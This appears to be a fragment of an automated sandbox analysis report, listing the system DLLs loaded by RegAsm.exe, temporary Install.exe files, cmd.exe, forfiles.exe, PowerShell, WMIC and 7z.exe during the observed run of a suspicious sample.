Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: davhlpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: acgenral.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msacm32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
